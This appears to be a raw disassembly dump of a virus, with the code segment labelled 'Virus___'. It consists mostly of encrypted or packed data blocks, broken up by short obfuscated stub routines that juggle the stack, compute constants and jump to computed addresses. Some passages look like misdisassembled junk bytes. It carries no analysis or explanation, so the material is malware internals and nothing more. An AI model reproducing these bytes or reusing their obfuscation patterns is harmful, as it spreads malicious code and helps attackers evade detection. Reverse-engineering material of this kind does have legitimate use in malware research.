		dd 2F8BC2F6h, 5010A9BEh, 46534600h, 5B983CE2h, 4D7D8112h
		dd 0F6E33A58h, 0FEB4D6C2h, 0D69FFFFFh, 584DB945h, 879B083Ah
		dd 0F93A584Dh, 0AB9F8AECh, 674A490Fh, 0F14BD2Eh, 0DC4332F8h
		dd 32310DDDh, 0EE716422h, 0DAEEBA83h, 0A9E0A9BCh, 2A1E3E05h
		dd 0DA93C386h, 0A7FD5D45h, 0E3F6B0A0h, 6B17FA7Ch, 0D8FD45Fh
		dd 99AD39Ah, 30F7BEF5h,	34A7E6Bh, 0F7BE8E90h, 85EF230h
		dd 0BE7B8714h, 0F0E530F7h, 25B6F0E5h, 30F7BEDBh, 45FF3BAh
		dd 0ABBE1254h, 7921BEABh, 4387F8C8h, 94AED2E6h,	0E3EF94F5h
		dd 43D1BDh, 81750000h, 3A584D79h, 101281C8h, 703A584Eh
		dd 68FD5165h, 0B52A63E8h, 0C66E9107h, 497A344h,	3A57F3F7h
		dd 1F56595Eh, 728C1F56h, 243A57F3h, 687D3B1Bh, 0BC2F1B0Eh
		dd 3332D47Fh, 7165EEFBh, 0F0h, 6EF75BD5h, 89BDA8EEh, 8BC2E5D2h
		dd 7ADA6EC2h, 4552DD4Eh, 2AE3333h, 44DE4D41h, 0BC30FB45h
		dd 0E0A9BCA9h, 2FD2F84Ch, 0DE67C8D7h, 0D1981306h, 77F70B98h
		dd 0A3A330FAh, 0F4C0D5B3h, 0A4C0C58h, 64F6251h,	12BE9EAAh
		dd 79300454h, 93C39C30h, 67F4C0D5h, 299A3926h, 8BC28B9Eh
		dd 0B9CD51C2h, 9F333A1Ah, 0A89C89C9h, 9B104004h, 68213137h
		dd 5698BE21h, 0D9320FFh, 1B4A849Eh, 0DDE9FC3Ah,	0D0D3C09Bh
		dd 15870A99h, 60FF32BBh, 99A09E53h, 4EDD94F6h, 30FADFB4h
		dd 652C392Ch, 0EEDA7AC9h, 1E3E0BA7h, 1843DC95h,	0CA44DF54h
		dd 9F8ACA98h, 124207ABh, 0DDCAE35Eh, 76622434h,	0E03h
		dd 0E368E87Ah, 0D358F84Fh, 0FD76E67Fh, 0C44F0F51h, 0C87D768h
		dd 5EE1024Ch, 89D975FEh, 5AEE42C9h, 88DD71FAh, 2D6443C8h
		dd 0F7FA64BEh, 4AEEDC30h, 0E2ABABBEh, 114107ABh, 4DD14257h
		dd 0B33A584Dh, 78D492A6h, 3A2B6DEDh, 55A93A73h,	0CB3A584Dh
		dd 0CC96EADEh, 0A328283Dh, 72CD75EAh, 22AD4324h, 46054A16h
		dd 4B60B483h, 29000000h, 0D89EBE85h, 74E461CDh,	4A49E440h
		dd 0CEBD2E67h, 5333344h, 4543DF4Ch, 0A8BD30FBh
		dd 0A6EFFA9Ch, 0D5C66E39h, 5B6F270Eh, 0A4B4B11Dh, 1CC6832Fh
		dd 9ABEED59h, 2462777Ch, 3C75387Fh, 0D62364AFh,	80C9DC29h
		dd 7246162Ch, 0A9BE5DF9h, 0C76B22A9h, 0E42DD7Dh, 0FEAAE95Dh
		dd 4C1BB783h, 9C034A0Ch, 0CB9B9474h, 794A002h, 3A57DDF2h
		dd 370DA4A0h, 61746127h, 0AF02B1EAh, 5CFC4AE6h,	85B22168h
		dd 0FD32F79Fh, 733EA1E8h, 0AE74D486h, 256C2511h, 0DF99B989h
		dd 1352FECAh, 5B6CC843h, 4D7D8112h, 0F6E33A58h,	1C399EC2h
		dd 81BCB503h, 18000001h, 0FF5B4E49h, 0C85B125Bh, 3A584D36h
		dd 188BBFAAh, 3A584E03h, 0EB7AD69Fh, 4D26F86Bh,	8F9A3A58h
		dd 0FF5B3E9Ah, 49CBD26Eh, 0BD11584Bh, 0E5F0B6A6h, 0CB6F75D1h
		dd 60E34D49h, 0E5ACE5F0h, 584DAC76h, 3501143Ah,	7A337A91h
		dd 584D15E9h, 0AA9E8B3Ah, 1BF94E0Eh, 4F7CB783h,	0D8000000h
		dd 0E272F75Bh, 0DE85B1A4h, 7ADA6EDAh, 4D5EA033h, 0D7C23A58h
		dd 0F75B66C2h, 91D8EC6Ch, 0D8F174D8h, 8491D787h, 0E936A591h
		dd 513A584Dh, 0F75BE044h, 57075871h, 9B3F7642h,	13B7A7BEh
		dd 7D81125Bh, 0E33A584Dh, 48ECC2F6h, 2906h, 4B49A200h
		dd 125BFC58h, 0F1B7A7BEh, 59F948E4h, 0AD3E0A1Fh, 3A584D4Eh
		dd 5B9B3F2Ah, 0B7A7BEFFh, 431352FEh, 80241005h,	0F94E983Ch
		dd 7CB7831Bh, 6Fh, 71F75BD8h, 58C45D6Bh, 0FEEBB582h, 0C299ADB8h
		dd 309CD5D8h, 96C69C35h, 99D0C583h, 57E0F80Ah, 497D683Ah
		dd 0BE125BEDh, 0E5F0B6A6h, 4DBD42D1h, 30253A58h, 0CE8ED579h
		dd 125B5EFAh, 584D7D81h, 0C35FCC3Ah, 3D3A584Dh,	0C45B4E28h
		dd 2BB1CA3Ah, 7D3400A6h, 88C89834h, 3244DBCEh, 3B5AB9D3h
		dd 0BEA30733h, 3C0DA9A9h, 230698h, 5BA20000h, 0D4E070F7h
		dd 57C40B8Fh, 3A584DCBh, 91352035h, 4D33C85Bh, 5A4F3A58h
		dd 0BEFF5BFEh, 3C0DA9A9h, 70F75B98h, 0E83AA9E0h, 583A584Dh
		dd 6C6D794Dh, 0C9FFFFFEh, 2E674A49h, 0F80F14BDh, 0B6256C32h
		dd 30F80B6Ch, 9DD4C1D4h, 0AF243431h, 0A8E1C4F4h, 0F80BE73Bh
		dd 0A4C5930h, 0F80B8799h, 26363330h, 0B975CC60h, 0F80BD82Ah
		dd 485D4830h, 87DBA70Eh, 501950C9h, 0F80B3FC3h,	80B4A130h
		dd 62A762FCh, 0EFBDE356h, 65510143h, 2340h, 9DA50900h
		dd 812D89BDh, 3A584D79h, 0B338182Dh, 0C7A7h, 642EE00h
		dd 548F1056h, 12B9B45h,	45E1D5C0h, 2E674A49h, 510E02B1h
		dd 94A0EECBh, 77A54EDDh, 485D3332h, 47DB4801h, 0B930FAB7h
		dd 7DD198ACh, 66B82BE7h, 0DA30FAB7h, 0FD51DACFh, 0EAB1F767h
		dd 20B3FAADh, 299A797Dh, 15B9F0E5h, 0AEAEB64Fh,	63E8FDE8h
		dd 9FD979CFh, 0DD65CFC4h, 6821687Dh, 0EBDF7FC4h, 0BA443578h
		dd 0D1988D32h, 0BA29E57Dh, 30FA5E68h, 9ED8CDD8h, 0BFF6BF8Bh
		dd 5E9965F6h, 120730FAh, 9FBF8A26h, 0ADADB814h,	0DE8074E1h
		dd 11054334h, 0A63h, 43C888DAh,	73F858EFh, 5DD686DFh, 64EF6FF1h
		dd 6CE777C8h, 0BE81E22Ch, 0A9B9159Eh, 0BA8E22A9h, 0A8BD119Ah
		dd 4D0423A8h, 0F7F644DEh, 2A8EBC30h, 0EDABABBEh, 12540441h
		dd 90034A03h, 3A584D8Eh, 0AFD3E7F2h, 11410493h,	0E87FD39Ah
		dd 0F3B2E68h, 8313EE53h, 0FE521BB4h, 0A5B0F666h, 5855EC36h
		dd 7541543Ah, 6750h, 0B0B51900h, 5B3094A0h, 4D7D8112h
		dd 0F6E33A58h, 971A99C2h, 0A9D41DEh, 0C727A654h, 0E229BAF3h
		dd 713332D5h, 20E27138h, 8030FAD5h, 0D5FC0695h,	716430FAh
		dd 70362345h, 42C989DCh, 4DD1420Bh, 0B330FAD5h,	2B3E92A6h
		dd 81366D2Bh, 0B12E672Eh, 4AE6B88Fh, 0FD6E27BCh, 30FA5B21h
		dd 2DBE8A9Fh, 29D52BC2h, 4A02B3Eh, 22A9A9BEh, 584D66B1h
		dd 454103Ah, 0DD6AC68Fh, 1A2E3B7Dh, 165F5241h, 0F80FA985h
		dd 8BC2D732h, 0B53E1E27h, 421250FCh, 81251104h,	31C094Eh
		dd 1546CB5h, 89250000h,	0BAF9BBBh, 125B4E49h, 4D36C85Bh
		dd 0BFAA3A58h, 0C85B2F8Bh, 3A584D33h, 5BFE5A4Fh, 0CBD26EFFh
		dd 0FC584B49h, 0EC6CF75Bh, 0F68BBFAAh, 5A4D4952h, 9DC45BFEh
		dd 100A52C7h, 9F3B5367h, 523C45Bh, 53D21AC8h, 0ACEA6AFFh
		dd 60D18DB9h, 85B7840Eh, 2Eh, 584B4921h, 33C85BFCh, 0AF3A584Dh
		dd 13D879E6h, 0D4A2F73Fh, 584BBB47h, 9C30253Ah,	228693C3h
		dd 0A7BEFF5Bh, 983C13B7h, 3406h, 4B49A200h, 0C85BFC58h
		dd 3A584D33h, 57671F80h, 4AFF9F8Eh, 1154F87Eh, 7120741h
		dd 0BEFF5BA3h, 5B13B7A7h, 75DE7EC4h, 7541CAE4h,	0A8BE125Bh
		dd 0CFFBEEA8h, 1BF94E6Bh, 5C7CB783h, 35000000h,	0C8636FAAh
		dd 0D39E834h, 0D04D49A9h, 65FED626h, 39A6B3F5h,	14012B2Ch
		dd 72F75BB0h, 0E48085Bh, 0CD910E1Bh, 33482436h,	0CB581125h
		dd 3A579934h, 47172F83h, 0BAFC5CEBh, 51FD9BAFh,	990A4313h
		dd 3A579985h, 5FFBEEFBh, 0A9BEFF5Bh, 0F75B0DA9h, 0F4DAEE6Eh
		dd 200650h, 49A20000h, 5BFE5A4Dh, 584D33C8h, 0FE5A4F3Ah
		dd 0A7BE125Bh, 0B4B1BB7h, 0C86C584Dh, 0DA9A9BEh, 0B506983Ch
		dd 4FFFFFFEh, 4D899506h, 0E2F73A58h, 4DE638ABh,	4F5A3A58h
		dd 0F75BDF7Bh, 8ED5E171h, 7CEFA609h, 32F80F55h,	5DF1B8ADh
		dd 98C34808h, 5BC48D20h, 0F9E44F01h, 94074B1h, 0F7D9889Ah
		dd 0ABEDF830h, 0F7D9E838h, 87D79230h, 85D56DC1h, 91ADD1C3h
		dd 85A26BFh, 0E387C001h, 1E25BDh, 81810000h, 3A584D79h
		dd 0C481182Dh, 0D2C7D294h, 0B68F1059h, 0AD5D39E7h, 976E7A4Eh
		dd 0CA000000h, 2E674A49h, 334BE6BDh, 81C16D33h,	3F041E8Dh
		dd 697C30FBh, 3B2E487Ch, 0CA8ADE72h, 757ED41h, 0A9D1A41h
		dd 0FFF1D043h, 411299Ah, 0F363E14Dh, 0C79D3178h, 0F0C4D197h
		dd 0E48085Ch, 24B5E55h,	0BACB1C91h, 38716432h, 0A81D194h
		dd 7CEFA3A6h, 30FAD7A2h, 0A9CF8FD4h, 82E5A9BCh,	0BD34DE07h
		dd 73DEFFBh, 2A340000h,	360DA12Ah, 4001AD26h, 2D379B10h
		dd 390AA62Dh, 64D29219h, 0FF74E47Fh, 0C8431353h, 0FB70E064h
		dd 0C9421257h, 0EA34A7EEh, 5630F7F3h, 0ABBEC064h, 441EDABh
		dd 7F031254h, 0C191D4E3h, 0FB1164Ah, 3734B483h,	90000000h
		dd 2E674A49h, 334386BDh, 0B1F7E233h, 0AF3967F8h, 764197BCh
		dd 6849D142h, 344830FAh, 8FD67A2Ah, 39C89CFh, 89B815Ch
		dd 8DD1E510h, 0BDE0C74Ch, 41A9h, 4A490D00h, 2E672E67h
		dd 584D61BDh, 0FECADF3Ah, 3353926Dh, 0B58D2133h, 0BB7CE3A5h
		dd 85EA2063h, 84E2D6C3h, 0EE7BD791h, 0FC49E56Eh, 0FF531A5Ch
		dd 0A4B1F767h, 0D9CCCB90h, 2F840390h, 0E9FC29D6h, 0F75BC662h
		dd 4FD9ED6Dh, 11605777h, 584D8082h, 0E0F5E03Ah,	3AA9E0A9h
		dd 3A584DE8h, 0EA794D58h, 33332049h, 804A15B9h,	0D0809A73h
		dd 0FEB8ADDEh, 0DF96FEEBh, 0F9F90596h, 726730FAh, 0B2ECD546h
		dd 6A29F0ACh, 0EE9D0E47h, 0A6A0826h, 9502591Fh,	0FEB898ABh
		dd 0C46A74EBh, 446A2741h, 0C2511851h, 79E1D440h, 0D5021C8Fh
		dd 6B7E79E1h, 0C251180Dh, 79E1D440h, 0C881B5A0h, 0BC9DB65Bh
		dd 125B4E72h, 20ABABBEh, 0D599B98Ch, 0F4ABD17Ch, 0ECD1C583h
		dd 65000005h, 5EF279D9h, 6EC24909h, 0A00C87D7h,	973BB0A0h
		dd 47078CCCh, 757E8F9h,	3222208Ch, 0F4F15B9h, 3D1D2884h
		dd 4BD891B6h, 30F7F2B7h, 5BBF1B29h, 85B72F7h, 0E1B0E48h
		dd 0C5695D48h, 3A96D080h, 0FBA02B2Bh, 33A0E9BCh, 32F80F92h
		dd 665F42DDh, 11EB7C98h, 10564325h, 7F831059h, 1830F76Ah
		dd 6889DC6Ah, 76630593h, 757EE42h, 0E094184Bh
		dd 594D0B34h, 573h, 73F858EAh, 43C888DFh, 8D0656EFh, 0B43F1F21h
		dd 9C174718h, 0EE7172DCh, 0F949E56Eh, 0EA7ED259h, 0F84DE16Ah
		dd 0BDF4D358h, 0F7F1D42Eh, 0DA7E4C30h, 2E674A49h, 0D492C282h
		dd 0F5BCF5C1h, 4DD32FBCh, 584D3A58h, 0EC2FF6Ch,	2F3A32F8h
		dd 2FBF2069h, 0A0E89670h, 2336263Ch, 0AAAABB17h, 0E0979DE6h
		dd 0C8DC9A34h, 50Bh, 9B104002h,	0AB203037h, 951E3E07h
		dd 0BC372739h, 840F4F10h, 0D6697AC4h, 0A1A10D86h, 0D2963AB1h
		dd 0A0A50982h, 551C3BB0h, 0F7F13CC6h, 3296A430h, 2E674A49h
		dd 0F80EECBDh, 17514432h, 0E6AAAABBh, 34E0D3C7h, 0C0C2D690h
		dd 0B9000004h, 923EB5A5h, 0A20E85D5h, 9438B3A3h, 0AB078CCCh
		dd 7333B898h, 0D383DC05h, 0EE6EF458h, 0DB7BC965h, 0E969FC50h
		dd 9F0C4562h, 30F7F083h, 0BE6BCFFDh, 0ABE2ABABh, 584DE638h
		dd 7B4F5A3Ah, 8CD8743Dh, 0AB9F8ACCh, 54124207h,	0F2055925h
		dd 0C06CE777h, 0DA93D585h, 672B9045h, 0C2012FAEh, 0F9AC31B2h
		dd 33A09481h, 3A57A4ECh, 4651ED91h, 74D85303h, 8B2761F1h
		dd 4E159EBEh, 0BC2F6649h, 33328C57h, 1380C6D3h,	30FA9D0Bh
		dd 0D56FC38Ah, 71CDB185h, 0E0C53196h, 0F074D8BDh, 35715460h
		dd 0D5000000h, 87DE4A49h, 918491D7h, 50CC4BD8h,	11043333h
		dd 4A36C457h, 215D30FBh, 8A266F1Dh, 0F6089BBBh,	0A030FB4Ah
		dd 0C7D2B4A4h, 136AAFF3h, 0D88BBDE0h, 2F000000h, 64F7ABBEh
		dd 3A584D9Ah, 40061306h, 450353ECh, 0B5FC5CE9h,	4D936FFCh
		dd 7EC73A58h, 0EB8D98DEh, 623661FEh, 0B846CBBDh, 1C83CA8Ch
		dd 7A45591Eh, 63CFFBCAh, 6EFD76E6h, 3A579153h, 1F94C481h
		dd 0E0A6B6B3h, 0E0A9FCBBh, 1C3C05A9h, 7C74BB28h, 0D9CC3332h
		dd 278A0952h, 0D585C26Eh, 1B3BA8E1h, 0BA29D3D0h, 0D09E60F3h
		dd 17023A55h, 19504523h, 21AAAAB5h, 0DC7CC468h,	17BB8F9Ah
		dd 2F400C4Ch, 642B830Eh, 3613622h, 86D80000h, 72F15DD6h
		dd 7CC569E2h, 69FB57DCh, 75CE62E9h, 0E02E6EE5h,	1B90C083h
		dd 24AFAFB7h, 179CBC88h, 25AEAEBBh, 46D84B02h, 0BA30F7EFh
		dd 0A5BE2C88h, 0D7923EB5h, 0E462CE87h, 21FCBEFEh, 9D8825B3h
		dd 0B0BB47D4h, 30253A57h, 492B8F04h, 4EADED4Ah,	78039D34h
		dd 80B7246Dh, 0F83332BCh, 55401054h, 0B67A8013h, 501930FAh
		dd 0DCE868FCh, 96FB9EA0h, 0DFBDE0A7h, 0C8h, 0ABABBE7Bh
		dd 3708A4EDh, 0A4BF1327h, 5C61F2B4h, 8E3A5851h,	372722BBh
		dd 4005A922h, 860D5610h, 32F96A23h, 8E33333Ch, 4C4B109Bh
		dd 0B4F262E0h, 18380DA1h, 175E4B5Eh, 0D49D4F84h, 1E278B29h
		dd 0CE622B3Eh, 71E1627Bh, 64BE2D64h, 0DC3A559Dh, 0FDB4FDC9h
		dd 0AC5AD62h, 0E9DDBB10h, 135AFA45h, 0EEA8A8BFh, 0E844CFFBh
		dd 204B0757h, 632B837Bh, 2713125h, 56E80000h, 22218D06h
		dd 4C15B932h, 192B870Ch, 451EB239h, 70DE9E15h, 0EB60F073h
		dd 0D45FFF47h, 0E76CEC78h, 0D55EFE4Bh, 0D628BBF2h, 4A30F7EEh
		dd 0A5BEDC78h, 4DA87AE9h, 0B4183A58h, 0FDE8AEAEh, 18B4FDE8h
		dd 0B73C0848h, 0F2844E1Bh, 1AA779C2h, 0BE1A9184h, 0EDABABBEh
		dd 0A47EEDA4h, 1C3A584Dh, 0D4913D09h, 4DB74BD8h, 95063A58h
		dd 3A584D89h, 9184E2F7h, 5F540F84h, 99A9054Ch, 8DC48DB9h
		dd 14BA2021h, 369C73FBh, 0B7A2E4F1h, 0E5916DFEh, 1A0F3A57h
		dd 0DB86BD2Eh, 0F7E23332h, 0AF67F8B1h, 0EDCC06B8h, 0F00E9DA9h
		dd 9730FAA8h, 62F272DEh, 71182A56h, 0BDE0B910h,	1FE37039h
		dd 8130FAB0h, 2B2B3894h, 694C786Dh, 2Ch, 98B88C20h, 5BFFCBDEh
		dd 2E674A49h, 332E7EBDh, 0EA79D533h, 2D385E6Ah,	2C22F86Bh
		dd 1D6130FBh, 31014641h, 2F64BDE0h, 0C0000000h,	584D7A81h
		dd 0C9DCDB3Ah, 1DF81F80h, 8567E81Fh, 138BF41Ah,	5E6AE695h
		dd 0D5DF8417h, 0E1B3332h, 0F858EB47h, 149FABBEh, 0E070F15Dh
		dd 125B70D4h, 584D7D81h, 0C2F6E33Ah, 162E1A99h,	0B61A5346h
		dd 0F0E5A3B3h, 8DC48DC4h, 783E1E21h, 4D24FE6Dh,	899C3A58h
		dd 46C12EBDh, 2C393333h, 0B48F236Ah, 44976BF8h,	1C0930FBh
		dd 50AE3D09h, 3730FB44h, 0AF10F74Bh, 36BDE01Ch,	27h, 6FF75B92h
		dd 3C05A9EFh, 5A4F5A1Ch, 0D6E272F6h, 584DB545h,	0A4A00C3Ah
		dd 0DCDB80B4h, 741380C9h, 8C333333h, 49B61299h,	0BD2E674Ah
		dd 32F80EF4h, 5910594Ch, 85DA72C6h, 2410E753h, 169DBD88h
		dd 0E9AFAFBAh, 0EBA205B2h, 9730B678h, 561F0A29h, 64EF6FFAh
		dd 9BDD7DC8h, 99D0D3C0h, 76050106h, 87B3C8D6h, 0C89E5DCEh
		dd 4F5A3332h, 0DE080203h, 0C3D79134h, 87h, 7FF464FEh, 4FC494D3h
		dd 79F262E3h, 40CB8BD5h, 880353ECh, 0DA657EC8h,	55DF17Ah
		dd 0F672DE55h, 441ED66h, 0B1F8DF54h, 0F7ECE022h, 0D6724030h
		dd 2E674A49h, 0F80F6DBDh, 98DECB32h, 0AA213134h, 5A134306h
		dd 11566FF6h, 26605441h, 0D181C36Fh, 0CBE676E5h, 80C96869h
		dd 0C38182Ch, 8EDBEE70h, 5CE945CEh, 4E16BAFCh, 662F480Eh
		dd 0EEDA7ACAh, 70DCD092h, 0FD5165F5h, 0CF63E868h, 889CDA7Ah
		dd 3, 0BEE5412Ch, 5EF2B4A4h, 0A10D4B0Bh, 59F5B3A3h, 0A30F4909h
		dd 5AF6B0A0h, 0A30F4909h, 5BF7B1A1h, 0A00C4A0Ah, 0D8F5B3A3h
		dd 81595451h, 4C1h, 4E98300h, 5C240C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	3C0h
		mov	[esp], ecx
		push	edx
		push	1E611B70h
		mov	edx, [esp]
		add	esp, 4
		or	edx, 52A9699Dh
		neg	edx
		shr	edx, 2
		xor	edx, 2125E54Bh
		mov	esi, edx
		pop	edx
		push	3994h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, esi
		mov	[ecx+8], edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		db 13h,	30h, 41h
		db 0F3h
; ---------------------------------------------------------------------------


loc_5A0DB5:				; CODE XREF: Virus___:0059EEA4j
		mov	eax, 96061ECh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0A17Ch
; ---------------------------------------------------------------------------


loc_5A0DC0:				; CODE XREF: Virus___:005A0DE5j
		adc	[ebx], bh
		inc	esi
		imul	ecx, [edx+5B004B4Ah], 3Eh
		sbb	eax, 561C4A27h
		db	26h
		push	es
		db	26h
		dec	esp
		aaa
		xchg	eax, ebx
		adc	[edi], ah
		mov	edx, 0F41548Fh
		ja	short loc_5A0E3D
		mov	eax, 0D27EF6E4h
		mov	bl, 7Ah
		jno	short loc_5A0DC0
		mov	dh, 0A9h
		sub	ebp, ecx
		sbb	eax, 0F2000000h	; CODE XREF: Virus___:005A0E47j
; ---------------------------------------------------------------------------
		dd 144E6Ch, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A13C9
; ---------------------------------------------------------------------------
		db 5Fh,	3, 53h
		dd 6FEF74D8h, 59F948E4h, 76E67ED2h, 4E0E51FDh, 263B85C5h
		dd 1AB63D1Dh, 2B870C4Ch, 1AB63D1Dh, 0A3840F4Fh,	0EBA579EAh
		db 0F7h
; ---------------------------------------------------------------------------


loc_5A0E3D:				; CODE XREF: Virus___:005A0DDCj
		xor	[ebx], bl
		sub	[ebp-12545442h], ecx
		movsb
		in	eax, dx
		jle	short near ptr loc_5A0DEB+2
		dec	ebp
		pop	eax
		cmp	bl, [ecx+ecx]
		cmp	eax, 58ECE91h
		test	eax, 6AF5BC9Ch
		int	0B9h		; used by BASIC	while in interpreter
		sub	bh, [eax]
		sal	byte ptr ds:5EEB4701h, cl
; ---------------------------------------------------------------------------
		dw 0B8FEh
		dd 490F4F14h, 85DD7138h, 2A8693D5h, 770B3F1Fh, 0C989DCEBh
		dd 0FA5AEE42h, 12A73871h, 0A7DC65BFh, 83C16D59h, 5651AF59h
		dd 0FAEF1192h, 15451FB3h, 7BCB6721h, 48DB92DBh,	3A57C8B6h
		dd 4D0B3F2Ah, 0FD0C562Ah, 0D07CF767h, 1083C595h, 3A57C90Bh
		dd 2EB1F8B1h, 1C205ABFh, 808211AEh, 0E03A5838h,	0A1BDC1F5h
		dd 8325A1E6h, 8DC4B4h, 5B600000h, 4D7D8112h, 0F6E33A58h
		dd 7BDB6EC2h, 4D52AE3Dh, 43003A58h, 6CF95513h, 0A7DBAAECh
		dd 6915B59Bh, 0FCD32D5h, 0E844B483h, 0DE410757h, 0DBFD441Ah
		dd 695D4853h, 14Ch, 0A9BEE800h,	0A47FE0A9h, 296C0B09h
		dd 0BCA9A9B8h, 0CE87CE88h, 57D1C15Dh, 1E2A3F3Ah, 0E3A5B5B2h
		dd 0A94006AAh, 9AAEBB9Bh, 0CD972E36h, 0CBDECB8Dh, 0BE80FC8Dh
		dd 753C1C2Bh, 13E694EAh, 1281C740h, 3A57FE10h, 44706570h
		dd 0CFE663CFh, 899CDA7Ah, 0BEB3179Ch, 63FCB5A5h, 0BACF49E8h
		dd 0C583B7F3h, 0B51F208Ch, 54E5828Eh, 0F0C4D1C2h, 1157075Ch
		dd 0D7E27C00h, 0EB47CC8Ch, 0A2B6745Eh, 0A18EC41Dh, 75EF2B4h
		dd 5D86980Bh, 0EFFA3A57h, 22CB3FAh, 2449694Bh, 26F86B22h
		dd 9A3A5792h, 64FDBB8Fh, 0EE434618h, 77B483C8h,	0C1h, 1AE4773Eh
		dd 0A93A579Ch, 579CE83Ah, 2B4D583Ah, 0DB9DBD87h, 4BEFDBCEh
		dd 7D81125Bh, 293A584Dh, 4F5A3C1Ch, 468CD77Bh, 0EF7C1A45h
		dd 3A57C013h, 0FA07988Dh, 0A4E2F7E4h, 0C0041EDh, 57F5839Fh
		dd 0FDE8FD3Ah, 7CDC65C9h, 0AE024B3Ah, 0C6B43298h, 0E8F61303h
		dd 0A9B5C9FDh, 9E15451Eh, 68E87BD7h, 0EF6FF05Ch, 0F34CE0A9h
		dd 9ABA2563h, 608FD63h,	0E8447065h, 27BEF858h, 0D484C26Eh
		dd 0C7C29CE0h, 0B4840C72h, 64F3h, 8025BA00h, 0D4DBF7E4h
		dd 5B288CB8h, 0D5E171F7h, 0B92AE679h, 3A584D65h, 9DDBCEDBh
		dd 65233331h, 1BAEB0CCh, 0A0B0B148h, 45FF3E6h, 83CA4154h
		dd 0A3893C1Ch, 0EADEA8E1h, 0F5A9BE4Eh, 584D9C66h, 411043Ah
		dd 4D4AD142h, 0C703A58h, 0FF25732h, 0B31FB483h,	936FFCB0h
		dd 0D3A5859h, 1C390D18h, 1, 0B7A7BEB8h,	48085DF1h, 0C595AD01h
		dd 0E4A29683h, 1C55CA83h, 8E4FF35Ch, 0DA64182Ch, 6DE676CFh
		dd 0CE978136h, 0C8DDC88Eh, 27251281h, 485D3333h, 0C393AD01h
		dd 39192985h, 4B7F6A7Fh, 0B4A4A10Dh, 0DB27B4FDh, 4530FB24h
		dd 24839F0Ch, 0E8FD30FBh, 0EE42C9FDh, 0F4BDFB5Bh, 24D42EBDh
		dd 594C30FBh, 2422FE6Dh, 295530FBh, 97C78215h, 1CB5B01Ch
		dd 4F061343h, 0FA061DD0h, 0C48DC7A0h, 0FAEECB57h, 14203530h
		dd 0EB6BFE52h, 1F3F01ADh, 7F831059h, 0E130FAEEh, 490958F4h
		dd 0B1A1A30Fh, 0B898AAD6h, 9B89D5A9h, 0F6089BD2h, 6A30FAEEh
		dd 0EE12EC7Fh, 0C78E30FAh, 0FAEECA54h, 36233630h, 0BB9BAE02h
		dd 6F2B6C30h, 0B926BDE0h, 2231CC4h, 0EECBFF5Ah,	123h, 674A494Ah
		dd 2BDEBD2Eh, 0EA753333h, 0C0F9F4FEh, 0B4B140Eh, 0D24D584Dh
		dd 5CC9662Eh, 432511D7h, 0B1B31F56h, 7FD395A1h,	3021E0EAh
		dd 0AFEBD296h, 29BAF3BAh, 30FAF2D5h, 0E16A5E4Bh, 1E58F84Dh
		dd 0E1A7B7B2h, 27B28CF0h, 0F0B93222h, 7D49095Ch, 0E06AE021h
		dd 0B32069BDh, 30FAFE6Fh, 0D5F0C4D1h, 5Ch, 5C4F4971h, 5BDC8615h
		dd 11048891h, 4E3AC457h, 9BD2BA58h, 66203037h, 9ADC7CCAh
		dd 2D369A8Fh, 4A7E6B2Dh, 326A2C36h, 0EC7F367Fh,	0BA584E12h
		dd 0E6AF9B8Eh, 0A975E6AFh, 38BA584Eh, 584E57ABh, 0BADCC9BAh
		dd 4E9E60F3h, 1702BA58h, 0B9A53602h, 2708915Ch,	64ADB932h
		dd 9000000h, 2E674A49h,	333CE6BDh, 11574233h, 23A8A8BDh
		dd 8110BA8Fh, 9519678h,	3846B7A6h, 8F9A9BB3h, 3995DC9Ah
		dd 8C1F2B2Bh, 30FAD9DDh, 0D9CA6DAh, 0C8931838h,	291D8CBh
		dd 299A7CABh, 2488CEDBh, 10773121h, 8E22D26Ch, 0CBDE98B8h
		dd 0BCEFA4FFh, 27826AF5h, 0E9D88C65h, 0A60794DDh, 0DE32BA3Fh
		dd 49E440CBh, 822E674Ah, 0C5D096C6h, 0B8F1B8F1h, 584DD72Bh
		dd 685C493Ah, 0F7EED2FBh, 71372232h, 43C888DDh,	4435AEFh
		dd 12071254h, 0EF57C754h, 0EA961DE1h, 54044158h, 66F673DFh
		dd 0A4B48C20h, 65F985E2h, 0E471752h, 7CEFA3A2h,	2609E7A2h
		dd 2A1E0B1Eh, 44E8A1h, 7DC86450h, 3D7BDB64h, 327B3D28h
		dd 0C8B461ADh, 3F0B5D62h, 32Bh,	0E5418F00h, 0F2B4A4BEh
		dd 0D4B0B5Eh, 0F5B3A3A1h, 0F490959h, 0F6B0A0A3h, 0F49095Ah
		dd 0F7B1A1A3h, 0C4A0A5Bh, 0F5B3A3A0h, 73F568D8h, 34890000h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h
; ---------------------------------------------------------------------------
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4505256Ch
		inc	eax
		neg	eax
		shl	eax, 8
		xor	eax, 1A37F20h
		sub	eax, 0F219893Fh
		mov	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		mov	ecx, edi
		push	ecx
		pop	dword ptr [edx+8]
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		dw 94FDh
		dd 0DCC686F8h, 0EF3D063Fh
		db 1Dh
; ---------------------------------------------------------------------------


loc_5A13C9:				; CODE XREF: Virus___:005A0E0Cj
		mov	eax, 9606801h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0C420h
